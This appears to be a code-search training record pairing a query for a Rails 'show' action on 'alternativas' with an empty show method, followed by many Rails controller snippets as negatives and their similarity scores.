"def create\n @alternativa = Alternativa.new(alternativa_params)\n\n respond_to do |format|\n if @alternativa.save\n format.html { redirect_to @alternativa, notice: 'Alternativa was successfully created.' }\n format.json { render :show, status: :created, location: @alternativa }\n else\n format.html { render :new }\n format.json { render json: @alternativa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @pregunta_alternativas = PreguntaAlternativa.all\n end",
"def alternativa_params\n params.require(:alternativa).permit(:desc, :question_id)\n end",
"def create\n @alternativo = Alternativo.new(alternativo_params)\n\n respond_to do |format|\n if @alternativo.save\n format.html { redirect_to @alternativo, notice: 'Alternativo was successfully created.' }\n format.json { render :show, status: :created, location: @alternativo }\n else\n format.html { render :new }\n format.json { render json: @alternativo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def alternativa_params\n # params.require(:alternativa).permit(:pergunta_id, :descricao, :correto)\n params.permit(:pergunta_id, :descricao, :correto)\n end",
"def alternativo_params\n params.require(:alternativo).permit(:ruta_id, :alternativo_id, :estado, :obs)\n end",
"def index\n render status: :ok, json: @simple_question_alternatives\n end",
"def new\n @alternativa = Alternativa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @alternativa }\n end\n end",
"def update\n respond_to do |format|\n if @alternativa.update(alternativa_params)\n format.html { redirect_to @alternativa, notice: 'Alternativa was successfully updated.' }\n format.json { render :show, status: :ok, location: @alternativa }\n else\n format.html { render :edit }\n format.json { render json: @alternativa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_pregunta_alternativa\n @pregunta_alternativa = PreguntaAlternativa.find(params[:id])\n end",
"def index\n @assuntos = Assunto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @assuntos }\n end\n end",
"def show\n @assunto = Assunto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assunto }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @representante_athlete }\n end\n end",
"def update\n respond_to do |format|\n if @alternativo.update(alternativo_params)\n format.html { redirect_to @alternativo, notice: 'Alternativo was successfully updated.' }\n format.json { render :show, status: :ok, location: @alternativo }\n else\n format.html { render :edit }\n format.json { render json: @alternativo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n if get_event\n @v1_answers = @event.alternatives\n render json: @v1_answers\n else\n @v1_answers = V1::Answer.all\n render json: @v1_answers\n end\n end",
"def show\n\tadd_breadcrumb \"Datos de la librería\", :librerias_path\n @libreria = Libreria.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @libreria }\n end\n end",
"def show\n @litra = Litra.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @litra }\n end\n end",
"def index\n @tutorials = Tutorial.all\n\n respond_to do |format|\n format.html\n format.json do\n render json: @tutorials\n end\n end\nend",
"def show\n @languages = [\"c\", \"python\", \"css\", \"html\", \"javascript\", \"php\", \"lua\", \"ruby\", \"scheme\"]\n @snippet = Snippet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @snippet }\n end\n end",
"def show\n @lugar = Lugar.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lugar }\n end\n end",
"def index\n @ramais = Ramal.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ramais }\n end\n end",
"def index\n @languages = Language.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @languages }\n end\n end",
"def show\n if @v1_answer\n render json: @v1_alternative\n else\n render json: get_errors(@v1_alternative), status: :unprocessable_entity\n end\n end",
"def show\n @tarefa = Tarefa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tarefa }\n end\n end",
"def get_routing_languages_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: RoutingApi.get_routing_languages ...\"\n end\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n if opts[:'sort_order'] && !['ascending', 'descending'].include?(opts[:'sort_order'])\n fail ArgumentError, 'invalid value for \"sort_order\", must be one of ascending, descending'\n end\n \n \n \n \n \n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/routing/languages\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'pageSize'] = opts[:'page_size'] if opts[:'page_size']\n query_params[:'pageNumber'] = opts[:'page_number'] if opts[:'page_number']\n query_params[:'sortOrder'] = opts[:'sort_order'] if opts[:'sort_order']\n query_params[:'name'] = opts[:'name'] if opts[:'name']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud Auth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LanguageEntityListing')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: RoutingApi#get_routing_languages\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def ingredients_by_recipe\n recipe = Recipe.find(params[:id])\n render json: recipe.ingredients\n end",
"def index\n @encriptions = Encription.all\n respond_to do |format|\n \n format.html \n format.json { render json: @encriptions }\n \n end\n end",
"def show\n @resource = Resource.find(params[:id])\n @terms = Term.all_iit_subjects\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @resource }\n end\n end",
"def destroy\n @alternativa.destroy\n respond_to do |format|\n format.html { redirect_to alternativas_url, notice: 'Alternativa was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def get_routing_languages_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: RoutingApi.get_routing_languages ...\"\n end\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n if opts[:'sort_order'] && !['ascending', 'descending'].include?(opts[:'sort_order'])\n fail ArgumentError, 'invalid value for \"sort_order\", must be one of ascending, descending'\n end\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/routing/languages\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'pageSize'] = opts[:'page_size'] if opts[:'page_size']\n query_params[:'pageNumber'] = opts[:'page_number'] if opts[:'page_number']\n query_params[:'sortOrder'] = opts[:'sort_order'] if opts[:'sort_order']\n query_params[:'name'] = opts[:'name'] if opts[:'name']\n query_params[:'id'] = @api_client.build_collection_param(opts[:'id'], :multi) if opts[:'id']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LanguageEntityListing')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: RoutingApi#get_routing_languages\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @tutorials = Tutorial.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tutorials }\n end\n end",
"def show\n @core_liberar_nota = Core::LiberarNota.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @core_liberar_nota }\n end\n end",
"def show\n set_glossary_locale(params[:locale]) if params[:locale]\n\n respond_to do |format|\n format.html {\n redirect_to glossary_terms_path(params[:id])\n }\n format.json {\n @glossary = Glossary.find(params[:id]).prepare_for_display\n render json: @glossary\n }\n end\n end",
"def show\n @advocacy = Advocacy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @advocacy }\n end\n end",
"def show\n @tutorial = Tutorial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tutorial.to_hash(false) }\n end\n end",
"def list_languages\n\t\trender json: Language.all.to_json\n\tend",
"def index\n\t\tlang = params[:lang] || I18n.locale\n paginate = params[:paginate] || 0\n\t\tcollection = entity.with_relationships.lang(lang).paginate(paginate).order(date: :desc)\n\t\tcollection = filters( params, collection)\n\n\t\trender json: collection.to_json( :except => [:keywords, :updated_at],\n\t\t\t:include => [\n\t\t\t\t{ :translations => {:only => [:id, :slug]} },\n\t\t\t\t{ :categories => {:only => [:id, :name]} },\n\t\t\t\t{ :gallery => {:only => :img_name} },\n\t\t\t\t:lawyers,\n\t\t\t\t:translation\n\t\t\t]);\n\tend",
"def show\n @tutorial = Tutorial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tutorial }\n end\n end",
"def show\n @talent = Talent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @talent }\n end\n end",
"def show\n @galeria = Galeria.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @galeria }\n end\n end",
"def show\n @anuncio = Anuncio.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @anuncio }\n end\n end",
"def show\n @articulo = Articulo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @articulo }\n end\n end",
"def show\n @articulo = Articulo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @articulo }\n end\n end",
"def show\n @articulo = Articulo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @articulo }\n end\n end",
"def index\n @talk_suggestions = TalkSuggestion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @talk_suggestions }\n end\n end",
"def index\n @normas = Norma.all\n render json: @normas\n end",
"def show\n @lang = Lang.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lang }\n end\n end",
"def show\n @aroma = Aroma.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @aroma }\n end\n end",
"def pregunta_alternativa_params\n params.require(:pregunta_alternativa).permit(:nombre, :pregunta, :respuesta1, :respuesta2, :respuesta3, :respuesta4, :verdadera, :explicacion)\n end",
"def show\n render json: @lugar\n end",
"def show\n @translated_word = TranslatedWord.find(params[:id])\n\n respond_to do |format|\n format.json do\n # render :json => @translated_word.to_json(:include => { :word => { :only => :text } })\n render :json => @translated_word.to_json(:include => :word )\n end\n end\n end",
"def show\n @articulo = Articulo.find(params[:id])\n @noticias = Articulo.where(\"tipo = 'noticia'\").order(\"created_at desc\")\n @title = @articulo.titulo\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @articulo }\n end\n end",
"def update\n @alternativa = Alternativa.find(params[:id])\n\n respond_to do |format|\n if @alternativa.update_attributes(params[:alternativa])\n flash[:notice] = 'Alternativa foi atualizado(a) com sucesso.'\n format.html { redirect_to(@alternativa) }\n format.xml { render :xml => @alternativa, :status => :created, :location => @alternativa }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @alternativa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @ideas = Idea.current_ideas_for(current_user).entries\n respond_with(@ideas) do |format|\n format.json { render json: @ideas }\n end\n end",
"def show_by_original_word\n @translated_word = TranslatedWord.find_by_word_id(Word.find_by_text(params[:wordtext]))\n respond_to do |format|\n format.json do\n render :json => @translated_word.to_json(:include => :word )\n end\n end\n end",
"def index\n render status: :ok, json: @group_question_alternatives\n end",
"def index\n if params[:tea] && params[:tea][:category]\n @teas = Tea.where(:category => params[:tea][:category])\n else\n @teas = Tea.all\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @teas }\n end\n end",
"def create\n @alternativa = Alternativa.new(params[:alternativa])\n\n respond_to do |format|\n if @alternativa.save\n flash[:notice] = 'Alternativa foi criado(a) com sucesso.'\n format.html { redirect_to(@alternativa) }\n format.xml { render :xml => @alternativa, :status => :created, :location => @alternativa }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @alternativa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def get_languages(options = {})\n object_from_response(GogoKit::PagedResource,\n GogoKit::LanguagesRepresenter,\n :get,\n get_root.links['viagogo:languages'].href,\n options)\n end",
"def show\n @avert = Avert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @avert }\n end\n end",
"def show\n @rua = Rua.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rua }\n end\n end",
"def index\n @recipes = Recipe.all\n respond_to do |format|\n format.html {}\n format.json { render json: @recipes }\n end\n end",
"def show\n @ramal = Ramal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ramal }\n end\n end",
"def etiquetas_por_aluno\n logger.info(params)\n @etiquetas_aluno = Etiqueta.all.where(aluno_id: params[:aluno_id])\n respond_with @etiquetas_aluno\n end",
"def show\n @alternatives_set = AlternativesSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @alternatives_set }\n end\n end",
"def show\n @core_termo_lacre = Core::TermoLacre.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @core_termo_lacre }\n end\n end",
"def show\n render json: @language_type\n end",
"def show\n\t\tid = params[:id]\n\t\tlang = params[:lang] || I18n.locale\n\n\t\tif is_a_number?(id)\n\t\t\tmodel = entity.with_relationships.find_by(id: params[:id])\n\t\telse\n\t\t\tmodel = entity.with_relationships.lang(lang).find_by(slug: params[:id])\n\t\tend\n\n\t\trender json: model.to_json(:except => [:keywords],\n\t\t\t:include => [\n\t\t\t\t:translations,\n\t\t\t\t:translation,\n\t\t\t\t{:categories => {:except => [:description]} },\n\t\t\t\t:lawyers,\n\t\t\t\t:gallery\n\t\t])\n\n\tend",
"def index\n @anuncios = Anuncio.all\n render json: @anuncios, status: :ok\n end",
"def show\n @lieu = Lieu.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lieu }\n end\n end",
"def index\n @attris = Attri.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @attris }\n end\n end",
"def index\n @ruas = Rua.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ruas }\n end\n end",
"def index\n @lugars = Lugar.all\n\n render json: @lugars\n end",
"def get_language\n\t\trender json: Language.find(params[:language_id]).to_json\n\tend",
"def list_ingredients\n rid = params[:id]\n items = Aws.get_ingredients_from_db(rid)\n render :json => items\n end",
"def show\n @livro = Livro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @livro }\n end\n end",
"def translations(language = nil)\n Birdman::Requester.get(\"movies/#{id}/translations/#{language}\")\n end",
"def show\n @laundromat = Laundromat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @laundromat }\n end\n end",
"def show_by_translation\n @translated_word = TranslatedWord.find_by_translation(params[:translation])\n respond_to do |format|\n format.json do\n render :json => @translated_word.to_json(:include => :word )\n end\n end\n end",
"def ingredient_data\n respond_to do |format|\n format.json { render json: helpers.get_ingredient(params[:ingredient_type], params[:ingredient_id]) }\n end\n end",
"def show\n @api_noun = Api::Noun.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @api_noun }\n end\n end",
"def index\n @mypage = \"タレント一覧\"\n @talents = Talent.all\n end",
"def show\n @leito = Leito.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @leito }\n end\n end",
"def index\n recipes = Recipe.all\n render status: :ok, json: recipes\n end",
"def index\n @ways_of_admissions = WaysOfAdmission.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ways_of_admissions }\n end\n end",
"def show\n @book = Book.find(params[:id])\n @chapters = @book.chapters\n wl = WhatLanguage.new(:all)\n @lang = \"\"\n @book.chapters.each do\n @lang = wl.language(@book.chapters[0].content).to_s.capitalize\n end\n\n do_response @book.to_json(:include => :chapters)\n end",
"def new\n @representante_athlete = Representante::Athlete.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @representante_athlete }\n end\n end",
"def show\n @english_entry = EnglishEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @english_entry }\n end\n end",
"def index\n @tunes = Tune.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tunes }\n end\n end",
"def show\n @manga = Manga.find(params[:id])\n @chapters = @manga.ordered_chapters.page(params[:page]).per 15\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @manga }\n end\n end",
"def index\n @language_types = LanguageType.all\n\n render json: @language_types\n end",
"def show\n @recipe = Recipe.find(params[:id])\n @recipeIngredients = RecipeIngredient.where(:recipeId => params[:id])\n @ingredients = Ingredient.where(:id => @recipeIngredients.select(:ingredientId))\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipe }\n end\n end",
"def show\n seleccionarMenu(:rondas)\n @ronda = Ronda.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ronda }\n end\n end",
"def show\n render json: Alien.find(params[\"id\"])\n end"
] |
[
"0.69971466",
"0.6498366",
"0.6498366",
"0.64737713",
"0.6409124",
"0.62824976",
"0.61535627",
"0.6129971",
"0.6121928",
"0.60777694",
"0.60193807",
"0.60155755",
"0.59702927",
"0.58695287",
"0.57263297",
"0.5691227",
"0.5677521",
"0.56592166",
"0.56570584",
"0.56557494",
"0.5587193",
"0.5574917",
"0.55477947",
"0.5530805",
"0.55164576",
"0.5469057",
"0.54681426",
"0.54525983",
"0.5438571",
"0.5413453",
"0.5404599",
"0.5399516",
"0.5399341",
"0.5399104",
"0.53953487",
"0.5394816",
"0.5392287",
"0.5391045",
"0.5386879",
"0.53820086",
"0.5379295",
"0.5378821",
"0.5368979",
"0.5358046",
"0.53526306",
"0.5351116",
"0.5346567",
"0.5334261",
"0.5334261",
"0.5334261",
"0.5331258",
"0.5321442",
"0.53206396",
"0.5304181",
"0.5288575",
"0.5287395",
"0.527892",
"0.52770394",
"0.52738416",
"0.52727896",
"0.5272246",
"0.52713054",
"0.5270508",
"0.5263634",
"0.5260043",
"0.52511567",
"0.5244485",
"0.5242207",
"0.5231774",
"0.52312094",
"0.52279437",
"0.5220513",
"0.52178663",
"0.5216194",
"0.5215458",
"0.52147114",
"0.52133036",
"0.5209318",
"0.52085644",
"0.5207535",
"0.52041954",
"0.5201895",
"0.51988494",
"0.51946425",
"0.51832044",
"0.51820296",
"0.51765716",
"0.5176266",
"0.5174762",
"0.51746166",
"0.5173904",
"0.517109",
"0.5167159",
"0.51480126",
"0.5147793",
"0.51471317",
"0.51425123",
"0.5141364",
"0.51369274",
"0.51354027"
] |
0.7347227
|
0
|
GET /alternativas/1 GET /alternativas/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @alternativas = Alternativa.all\n end",
"def index\n @alternativos = Alternativo.all\n end",
"def show\n @alternativa = Alternativa.find(params[:id])\n @caracteristica = @alternativa.caracteristica\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @alternativa }\n end\n end",
"def set_alternativo\n @alternativo = Alternativo.find(params[:id])\n end",
"def set_alternativa\n @alternativa = Alternativa.find(params[:id])\n end",
"def set_alternativa\n @alternativa = Alternativa.find(params[:id])\n end",
"def index\n @alternativas = Alternativa.find(:all, :include => [:caracteristica], :order => \"Caracteristicas.nome, Alternativas.nome\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @alternativas }\n end\n end",
"def index\n @pregunta_alternativas = PreguntaAlternativa.all\n end",
"def show\n @assunto = Assunto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assunto }\n end\n end",
"def create\n @alternativa = Alternativa.new(alternativa_params)\n\n respond_to do |format|\n if @alternativa.save\n format.html { redirect_to @alternativa, notice: 'Alternativa was successfully created.' }\n format.json { render :show, status: :created, location: @alternativa }\n else\n format.html { render :new }\n format.json { render json: @alternativa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @alternativa = Alternativa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @alternativa }\n end\n end",
"def create\n @alternativo = Alternativo.new(alternativo_params)\n\n respond_to do |format|\n if @alternativo.save\n format.html { redirect_to @alternativo, notice: 'Alternativo was successfully created.' }\n format.json { render :show, status: :created, location: @alternativo }\n else\n format.html { render :new }\n format.json { render json: @alternativo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n render status: :ok, json: @simple_question_alternatives\n end",
"def show\n if @v1_answer\n render json: @v1_alternative\n else\n render json: get_errors(@v1_alternative), status: :unprocessable_entity\n end\n end",
"def show\n\tadd_breadcrumb \"Datos de la librería\", :librerias_path\n @libreria = Libreria.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @libreria }\n end\n end",
"def show\n @litra = Litra.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @litra }\n end\n end",
"def show\n @anuncio = Anuncio.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @anuncio }\n end\n end",
"def show\n @articulo = Articulo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @articulo }\n end\n end",
"def show\n @articulo = Articulo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @articulo }\n end\n end",
"def show\n @articulo = Articulo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @articulo }\n end\n end",
"def show\n @articulo = Articulo.find(params[:id])\n @noticias = Articulo.where(\"tipo = 'noticia'\").order(\"created_at desc\")\n @title = @articulo.titulo\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @articulo }\n end\n end",
"def show\n @lugar = Lugar.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lugar }\n end\n end",
"def show\n @core_liberar_nota = Core::LiberarNota.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @core_liberar_nota }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @representante_athlete }\n end\n end",
"def index\n @assuntos = Assunto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @assuntos }\n end\n end",
"def set_pregunta_alternativa\n @pregunta_alternativa = PreguntaAlternativa.find(params[:id])\n end",
"def alternativa_params\n params.require(:alternativa).permit(:desc, :question_id)\n end",
"def show\n @tarefa = Tarefa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tarefa }\n end\n end",
"def show\n @respuesta = Respuesta.find(params[:id])\n\n render json: @respuesta\n end",
"def show\n @languages = [\"c\", \"python\", \"css\", \"html\", \"javascript\", \"php\", \"lua\", \"ruby\", \"scheme\"]\n @snippet = Snippet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @snippet }\n end\n end",
"def show\n @respuesta = Respuesta.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @respuesta }\n end\n end",
"def show\n @galeria = Galeria.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @galeria }\n end\n end",
"def show\n @rua = Rua.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rua }\n end\n end",
"def update\n respond_to do |format|\n if @alternativa.update(alternativa_params)\n format.html { redirect_to @alternativa, notice: 'Alternativa was successfully updated.' }\n format.json { render :show, status: :ok, location: @alternativa }\n else\n format.html { render :edit }\n format.json { render json: @alternativa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @tipo_pregunta = TipoPregunta.find(params[:id])\n\n render json: @tipo_pregunta\n end",
"def show\n @tutorial = Tutorial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tutorial }\n end\n end",
"def show\n @api_noun = Api::Noun.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @api_noun }\n end\n end",
"def show\n @core_termo_lacre = Core::TermoLacre.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @core_termo_lacre }\n end\n end",
"def alternativo_params\n params.require(:alternativo).permit(:ruta_id, :alternativo_id, :estado, :obs)\n end",
"def show\n @lang = Lang.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lang }\n end\n end",
"def show\n @lieu = Lieu.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lieu }\n end\n end",
"def show\n @leito = Leito.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @leito }\n end\n end",
"def show\n @aroma = Aroma.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @aroma }\n end\n end",
"def show\n @advocacy = Advocacy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @advocacy }\n end\n end",
"def show\n @talent = Talent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @talent }\n end\n end",
"def show\n @livro = Livro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @livro }\n end\n end",
"def show\n @tutorial = Tutorial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tutorial.to_hash(false) }\n end\n end",
"def show\n @motivobaja = MotivoBaja.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @motivobaja }\n end\n end",
"def index\n @tutorials = Tutorial.all\n\n respond_to do |format|\n format.html\n format.json do\n render json: @tutorials\n end\n end\nend",
"def ingredients_by_recipe\n recipe = Recipe.find(params[:id])\n render json: recipe.ingredients\n end",
"def alternativa_params\n # params.require(:alternativa).permit(:pergunta_id, :descricao, :correto)\n params.permit(:pergunta_id, :descricao, :correto)\n end",
"def index\n if get_event\n @v1_answers = @event.alternatives\n render json: @v1_answers\n else\n @v1_answers = V1::Answer.all\n render json: @v1_answers\n end\n end",
"def update\n respond_to do |format|\n if @alternativo.update(alternativo_params)\n format.html { redirect_to @alternativo, notice: 'Alternativo was successfully updated.' }\n format.json { render :show, status: :ok, location: @alternativo }\n else\n format.html { render :edit }\n format.json { render json: @alternativo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @jugador = Jugador.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @jugador }\n end\n end",
"def show\n @repa = Repa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @repa }\n end\n end",
"def show\n @core_nota = Core::Nota.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @core_nota }\n end\n end",
"def show\n recipe = Recipe.find(params[:id])\n # recipes = Recipe.find_by(params[:id])\n # render json: recipe\n render json: recipe\n end",
"def show\n @resource = Resource.find(params[:id])\n @terms = Term.all_iit_subjects\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @resource }\n end\n end",
"def show\n @repa = Repa.find(params[:id])\n \n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @repa }\n end\n end",
"def show\n seleccionarMenu(:rondas)\n @ronda = Ronda.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ronda }\n end\n end",
"def show\n @territorio = Territorio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @territorio }\n end\n end",
"def show\n @noto = Noto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @noto }\n end\n end",
"def show\n @laundromat = Laundromat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @laundromat }\n end\n end",
"def show\n @colegiatura = Colegiatura.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colegiatura }\n end\n end",
"def destroy\n @alternativa.destroy\n respond_to do |format|\n format.html { redirect_to alternativas_url, notice: 'Alternativa was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def show\n @ramal = Ramal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ramal }\n end\n end",
"def show\n # accept the params\n # go to the db and get the correct recipe for that param\n p params[:id]\n @recipe = Recipe.find_by(id: params[:id])\n @ingredients = @recipe.ingredients.split(\", \").map {|ingredient| ingredient.capitalize}\n # send this to the view\n # show that data to the user\n render 'show.json.jb'\n end",
"def show\n @artigo = Artigo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @artigo }\n end\n end",
"def show\n @lista_contato = ListaContato.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lista_contato }\n end\n end",
"def show\n @avert = Avert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @avert }\n end\n end",
"def show\n render json: Alien.find(params[\"id\"])\n end",
"def show\n render json: @lugar\n end",
